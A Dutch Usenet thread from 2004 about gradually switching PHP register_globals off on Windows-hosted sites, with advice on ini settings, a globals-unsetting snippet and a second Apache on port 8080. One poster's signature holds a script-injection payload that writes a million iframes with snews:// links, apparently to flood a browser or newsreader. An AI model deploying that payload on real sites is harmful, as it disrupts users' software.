Onderwerp: register_globals

Ik moet binnenkort overschakelen van register_globals "on" naar "off" voor
een aantal websites. (Ja, had ik natuurlijk al véél eerder moeten doen :-)
Om dat geleidelijk te kunnen doen wil ik de basisinstelling op "off" zetten
en per site waar nodig on "on".

Toepassing van ini_set.php gaat niet omdat de register_globals actief wordt
vóór het script. Ook wil ik het liever niet per script regelen, maar voor de
hele site.
Omdat ik op een Windows-server zit is gebruik van .htaccess niet mogelijk.

Bijkomend probleem is dat het me nog steeds niet gelukt is om "Load data
(local) infile" onder PHP 5 aan de praat te krijgen, waardoor sommige sites
geparsed worden met PHP 4.2.3

Heeft iemand een suggestie?

--
Nico
www.nicoschuyt.nl

Nico Schuyt wrote:

> Ik moet binnenkort overschakelen van register_globals "on" naar "off" voor
> een aantal websites. (Ja, had ik natuurlijk al véél eerder moeten doen :-)
> Om dat geleidelijk te kunnen doen wil ik de basisinstelling op "off" zetten
> en per site waar nodig on "on".

Ik zou de setting gewoon laten staan op de publieke server en een copie
van de site in een locale omgeving met register_globals off klaarmaken
voor globals off. Als dat werkt die versie op de publieke server zetten
en pas als alle sites op die server er klaar voor zijn op die server de
register_globals setting uit zetten.

Steven

Steven wrote:
> Nico Schuyt wrote:

>> Ik moet binnenkort overschakelen van register_globals "on" naar
>> "off" voor een aantal websites. (Ja, had ik natuurlijk al véél
>> eerder moeten doen :-) Om dat geleidelijk te kunnen doen wil ik de
>> basisinstelling op "off" zetten en per site waar nodig on "on".

> Ik zou de setting gewoon laten staan op de publieke server en een
> copie van de site in een locale omgeving met register_globals off
> klaarmaken voor globals off. Als dat werkt die versie op de publieke
> server zetten en pas als alle sites op die server er klaar voor zijn
> op die server de register_globals setting uit zetten.

Precies wat ik in gedachten heb :-) Sommige sites zijn echter zo complex dat
ik voorlopig niet aan omzetten (en testen!) toekom.
Vandaar mijn zoeken naar een oplossing die geleidelijk kan verlopen.

--
Nico
www.nicoschuyt.nl

Nico Schuyt wrote:

> Steven wrote:
>
>>Nico Schuyt wrote:
>
>>>Ik moet binnenkort overschakelen van register_globals "on" naar
>>>"off" voor een aantal websites. (Ja, had ik natuurlijk al véél
>>>eerder moeten doen :-) Om dat geleidelijk te kunnen doen wil ik de
>>>basisinstelling op "off" zetten en per site waar nodig on "on".
>
>>Ik zou de setting gewoon laten staan op de publieke server en een
>>copie van de site in een locale omgeving met register_globals off
>>klaarmaken voor globals off. Als dat werkt die versie op de publieke
>>server zetten en pas als alle sites op die server er klaar voor zijn
>>op die server de register_globals setting uit zetten.
>
> Precies wat ik in gedachten heb :-) Sommige sites zijn echter zo complex dat
> ik voorlopig niet aan omzetten (en testen!) toekom.
> Vandaar mijn zoeken naar een oplossing die geleidelijk kan verlopen.

Zolang je register_globals aan hebt staan kan je geleidelijk de
aanpassingen doen. Alles blijft dan gewoon werken. Maar je zal toch
moeten testen of de wijzigingen correct en volledig zijn met
register_globals off. Wou je dat op de publieke server doen, live?

Steven

> Heeft iemand een suggestie?

Je kan het zowel per virtual host doen als via .htaccess (als ik me niet
vergis, heb dat ooit gelezen). Via .htaccess weet ik eigenlijk wel
zeker...maar je moet het zelf even zoeken ;-)

Steven wrote:
> Nico Schuyt wrote:

>>>> Ik moet binnenkort overschakelen van register_globals "on" naar
>>>> "off" voor een aantal websites.
>>>> Om dat geleidelijk te kunnen doen wil ik de
>>>> basisinstelling op "off" zetten en per site waar nodig on "on".

> Zolang je register_globals aan hebt staan kan je geleidelijk de
> aanpassingen doen. Alles blijft dan gewoon werken. Maar je zal toch
> moeten testen of de wijzigingen correct en volledig zijn met
> register_globals off. Wou je dat op de publieke server doen, live?

Ehh, nee. Maar ik kreeg (te laat) een berichtje van de webserver dat ze
medio oktober de instelling voor register_globals willen wijzigen.
Ook in de ontwikkelomgeving wil ik geleidelijk over kunnen gaan. Vandaar die
opzet met de basis (php.ini) op "off" en sites die nog niet getest zijn op
"on".
Zou het mogelijk zijn om een php.ini toe te passen (met maar één regel) die
in aanvulling werkt op de basis-php.ini?
(Zoals een styleregel een externe stylesheet kan overrulen)
Of sla ik nu wartaal uit? :0

--
Nico
www.nicoschuyt.nl

Nico Schuyt wrote:

> Steven wrote:
>
>>Nico Schuyt wrote:
>
>>>>>Ik moet binnenkort overschakelen van register_globals "on" naar
>>>>>"off" voor een aantal websites.
>>>>>Om dat geleidelijk te kunnen doen wil ik de
>>>>>basisinstelling op "off" zetten en per site waar nodig on "on".
>
>>Zolang je register_globals aan hebt staan kan je geleidelijk de
>>aanpassingen doen. Alles blijft dan gewoon werken. Maar je zal toch
>>moeten testen of de wijzigingen correct en volledig zijn met
>>register_globals off. Wou je dat op de publieke server doen, live?
>
> Ehh, nee. Maar ik kreeg (te laat) een berichtje van de webserver dat ze
> medio oktober de instelling voor register_globals willen wijzigen.
> Ook in de ontwikkelomgeving wil ik geleidelijk over kunnen gaan. Vandaar die
> opzet met de basis (php.ini) op "off" en sites die nog niet getest zijn op
> "on".
> Zou het mogelijk zijn om een php.ini toe te passen (met maar één regel) die
> in aanvulling werkt op de basis-php.ini?
> (Zoals een styleregel een externe stylesheet kan overrulen)
> Of sla ik nu wartaal uit? :0

Ik geloof wel dat dat kan. Op een unix server in ieder geval wel. Ik ken
providers waar je een compleet php.ini in de root van de virtual server
kan zetten. Ik weet niet hoe ze dat precies doen.

Steven

On Thu, 30 Sep 2004 16:14:09 +0200, Nico Schuyt <nschuyt@hotmail.com> wrote:
> Steven wrote:
>> Nico Schuyt wrote:
>
>>>>> Ik moet binnenkort overschakelen van register_globals "on" naar
>>>>> "off" voor een aantal websites.
>>>>> Om dat geleidelijk te kunnen doen wil ik de
>>>>> basisinstelling op "off" zetten en per site waar nodig on "on".
>
>> Zolang je register_globals aan hebt staan kan je geleidelijk de
>> aanpassingen doen. Alles blijft dan gewoon werken. Maar je zal toch
>> moeten testen of de wijzigingen correct en volledig zijn met
>> register_globals off. Wou je dat op de publieke server doen, live?
>
> opzet met de basis (php.ini) op "off" en sites die nog niet getest zijn op
> "on".

Je kunt binnen iedere individueel bestand de register globals aan/uit zetten
en als ik me niet vergis werkt dat ook als register globals default al op
off staat. Zie php.net/ini_set voor meer details.

> Zou het mogelijk zijn om een php.ini toe te passen (met maar één regel) die
> in aanvulling werkt op de basis-php.ini?
> (Zoals een styleregel een externe stylesheet kan overrulen)
> Of sla ik nu wartaal uit? :0
>
Ik heb geen verstand van stylesheets. :-)

Hans


--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

Hans wrote:
> Nico Schuyt wrote:

>>>>>> Ik moet binnenkort overschakelen van register_globals "on" naar
>>>>>> "off" voor een aantal websites.
>>>>>> Om dat geleidelijk te kunnen doen wil ik de
>>>>>> basisinstelling op "off" zetten en per site waar nodig on "on".

> Je kunt binnen iedere individueel bestand de register globals aan/uit
> zetten en als ik me niet vergis werkt dat ook als register globals
> default al op off staat. Zie php.net/ini_set voor meer details.

Had ik al geprobeerd zonder succes:
http://nl.php.net/manual/en/ini.sect...gister-globals
"Please note that register_globals cannot be set at runtime (ini_set()).
Although, you can use .htaccess if your host allows it as described above.
An example .htaccess entry: php_flag register_globals on."

Maar ik vond wel op die pagina een andere truc:
<?php // Put that at the very begining fo the file
if (ini_get(register_globals)) {
foreach ($GLOBALS as $name => $value) {
if ($name{0}!=='_' || $name=='GLOBALS') {
unset($GLOBALS[$name]);
}}}?>

En dat lijkt te werken!

Bedankt!!
--
Nico
www.nicoschuyt.nl

"Nico Schuyt" <nschuyt@hotmail.com> wrote in
news:415c145b$0$61745$abc4f4c3@news.euronet.nl:

> Ehh, nee. Maar ik kreeg (te laat) een berichtje van de webserver dat
> ze medio oktober de instelling voor register_globals willen wijzigen.
> Ook in de ontwikkelomgeving wil ik geleidelijk over kunnen gaan.
> Vandaar die opzet met de basis (php.ini) op "off" en sites die nog
> niet getest zijn op "on".

Zet twee webservers local, laat een op poort 80 werken, en de ander op
8080, o.i.d. Zet 80 op off, en 8080 op on.

--
John Voorbeeldscripts in Perl:http://johnbokma.com/perl/
Website design: http://johnbokma.com/websitedesign/
Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
Tevreden opdrachtgevers: http://castleamber.com/testimonials.html

John Bokma wrote:
> "Nico Schuyt" wrote

>> Ehh, nee. Maar ik kreeg (te laat) een berichtje van de webserver dat
>> ze medio oktober de instelling voor register_globals willen wijzigen.
>> Ook in de ontwikkelomgeving wil ik geleidelijk over kunnen gaan.
>> Vandaar die opzet met de basis (php.ini) op "off" en sites die nog
>> niet getest zijn op "on".

> Zet twee webservers local, laat een op poort 80 werken, en de ander op
> 8080, o.i.d. Zet 80 op off, en 8080 op on.

Aaaah, dat zal ongetwijfeld een geniale oplossing zijn, maar ik heb geen
idee hoe ik zoiets aan moet pakken :-)

--
Nico
www.nicoschuyt.nl

"Nico Schuyt" <nschuyt@hotmail.com> wrote in news:415c68bf$0$30708
$18b6e80@news.euronet.nl:

> John Bokma wrote:
>> "Nico Schuyt" wrote
>
>>> Ehh, nee. Maar ik kreeg (te laat) een berichtje van de webserver
dat
>>> ze medio oktober de instelling voor register_globals willen
wijzigen.
>>> Ook in de ontwikkelomgeving wil ik geleidelijk over kunnen gaan.
>>> Vandaar die opzet met de basis (php.ini) op "off" en sites die nog
>>> niet getest zijn op "on".
>
>> Zet twee webservers local, laat een op poort 80 werken, en de ander
op
>> 8080, o.i.d. Zet 80 op off, en 8080 op on.
>
> Aaaah, dat zal ongetwijfeld een geniale oplossing zijn, maar ik heb
geen
> idee hoe ik zoiets aan moet pakken :-)

Je kan bij Apache opstarten opgeven waar ie de config files moet halen.

apache -h geeft een lijstje

-f geef een alternatieve ServerConfigFile

dus even copietje maken van httpd.conf, en een shortcut maken naar
apache.exe, en als optie -f pad/naar/copietjeconfig opgeven

In het copietje zet je de poort van 80 om naar 8080. Dat is deel 1, heb
je 2 webservers draaien.

Nu nog even de configuratie van de 2e zo aanpassen dat het een
alternatieve PHP gebruikt.

--
John Voorbeeldscripts in Perl:http://johnbokma.com/perl/
Website design: http://johnbokma.com/websitedesign/
Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
Tevreden opdrachtgevers: http://castleamber.com/testimonials.html

John Bokma wrote:
> Nico Schuyt wrote:
>> John Bokma wrote:

>>> Zet twee webservers local, laat een op poort 80 werken, en de ander
>>> op 8080, o.i.d. Zet 80 op off, en 8080 op on.

>> Aaaah, dat zal ongetwijfeld een geniale oplossing zijn, maar ik heb
>> geen idee hoe ik zoiets aan moet pakken :-)

> Je kan bij Apache opstarten opgeven waar ie de config files moet
> halen.
> apache -h geeft een lijstje
> -f geef een alternatieve ServerConfigFile
> dus even copietje maken van httpd.conf, en een shortcut maken naar
> apache.exe, en als optie -f pad/naar/copietjeconfig opgeven
> In het copietje zet je de poort van 80 om naar 8080. Dat is deel 1,
> heb je 2 webservers draaien.
> Nu nog even de configuratie van de 2e zo aanpassen dat het een
> alternatieve PHP gebruikt.

Nou, dat valt alles mee :-) Lijkt me zéér bruikbaar voor m'n probleem.
Bedankt weer John!

--
Nico
www.nicoschuyt.nl

In article <Xns9574E9723D334castleamber@130.133.1.4>, John Bokma wrote:
> "Nico Schuyt" <nschuyt@hotmail.com> wrote in news:415c68bf$0$30708
> $18b6e80@news.euronet.nl:
>>
>> Aaaah, dat zal ongetwijfeld een geniale oplossing zijn, maar ik heb
> geen
>> idee hoe ik zoiets aan moet pakken :-)
>
> Je kan bij Apache opstarten opgeven waar ie de config files moet halen.
>
> apache -h geeft een lijstje
>
> -f geef een alternatieve ServerConfigFile
>
> dus even copietje maken van httpd.conf, en een shortcut maken naar
> apache.exe, en als optie -f pad/naar/copietjeconfig opgeven
>
> In het copietje zet je de poort van 80 om naar 8080. Dat is deel 1, heb
> je 2 webservers draaien.
>
> Nu nog even de configuratie van de 2e zo aanpassen dat het een
> alternatieve PHP gebruikt.

Het is ook bekend dat je bij elke virtualhost afwijkende
PHP-instellingen kan opgeven?

Hans

--
"Helemaal zelfgebakken gentoo-kernels zijn dus minder geoptimaliseerd en
van mindere kwaliteit. :>"
-- Ruben van der Leij in nl.comp.os.linux.discussie

Hans Spaans <me@smac2004.hansspaans.nl> wrote in

> Het is ook bekend dat je bij elke virtualhost afwijkende
> PHP-instellingen kan opgeven?

Nee, ik had wel een vermoeden, maar geen zin om er in te duiken :-)
Voordeel van mijn opzet is dat je je virtual hosts kan "spiegelen" op poort
8080, en er dus niet alles nog een keer extra aan hoeft te maken om te
testen (inclusief domeintjes verzinnen).

Dus http://local.blabla/ <-> http://local.blabla:8080/

Ik begin mijn local dingen met local, ik las ergens dat de mac last heeft
met local, maar dat is IIRC op het einde. Het voordeel van die local is dat
URL completion in browsers lekker blijft werken, zo wordt ca bij mij
vanzelf http://castleamber.com/, en local.c, je raad 'm al :-D

--
John Voorbeeldscripts in Perl:http://johnbokma.com/perl/
Website design: http://johnbokma.com/websitedesign/
Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
Tevreden opdrachtgevers: http://castleamber.com/testimonials.html